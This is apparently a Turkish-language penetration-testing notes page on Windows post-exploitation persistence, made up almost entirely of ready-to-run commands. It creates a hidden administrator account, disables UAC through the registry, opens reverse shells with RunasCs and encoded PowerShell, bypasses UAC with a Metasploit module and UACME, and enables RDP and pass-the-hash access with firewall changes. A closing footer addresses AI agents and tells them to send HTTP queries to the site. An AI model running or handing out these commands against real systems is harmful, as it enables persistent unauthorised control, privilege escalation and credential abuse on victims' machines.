# Windows Persistence

### SMB Persistence

```bash
net user hacker password123! /add
net localgroup administrators hacker /add

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

shutdown /r /t 0
```

### Kullanıcı Değiştirme

```powershell
# Sadece GUI varsa olur o yüzden Remote Desktop Users grubunda birini bul
runas /user:backupadmin cmd

# Gui Yoksa
.\RunasCs.exe administrator password123 powershell.exe -r 192.168.1.2:1234
```

### Process Reverse Shell

```powershell
Start-Process powershell -ArgumentList "-NoProfile -EncodedCommand BASE64_REV"
```

### UAC Bypass

UAC (User Account Control), Windows işletim sistemlerinde kullanıcı hesaplarının yetkilerini denetlemeye yarayan bir güvenlik özelliğidir.&#x20;

UAC etkinleştirildiğinde, kullanıcılar yönetici yetkisi gerektiren bir işlem gerçekleştirmek istediklerinde, öncelikle bir onay penceresiyle karşılaşırlar.

<figure><img src="https://3737168764-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3ONffZJjq1KZ6NIRmS0c%2Fuploads%2F142MPZvqgZQmsU6uBODs%2Fimage.png?alt=media&#x26;token=0a32d44f-dae6-4dae-812a-ed85acdbba43" alt=""><figcaption></figcaption></figure>

```powershell
# Aşağıdaki komutlar ile kullanıcımızın administrator yetkisine sahip olduğunu doğruluyoruz.
whoami
net localgroup administrators

# Sonrasında yetkimizi yükseltmek için getsystem yapıyoruz
migrate -N explorer.exe
getsystem
# Eğer bu komutlar çalışmadıysa sistemde UAC açıktır
```

Aşağıdaki msf modülü ile bypass denenebilir.

```bash
use exploit/windows/local/bypassuac_injection
```

Aynı işlem UACME aracı ile de yapılabilir. Reverse shell ve aracı temp klasörüne yüklüyoruz ve aşağıdaki komutu çalıştırıyoruz.

UACME: <https://github.com/hfiref0x/UACME/releases>&#x20;

```
cd %TEMP%
Akagi64.exe 23 %TEMP%\reverse.exe
```

### RDP Persistence

```powershell
net user hacker password123! /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add

# CMD (Enable RDP ve Passthehash)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD  /d 0x0 /f
netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes
sc config TermService start=auto
sc start TermService



# Powershell (Enable RDP ve Passthehash)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-Service -Name TermService -StartupType Automatic
Start-Service -Name TermService
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/windows-pentesting/windows-post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
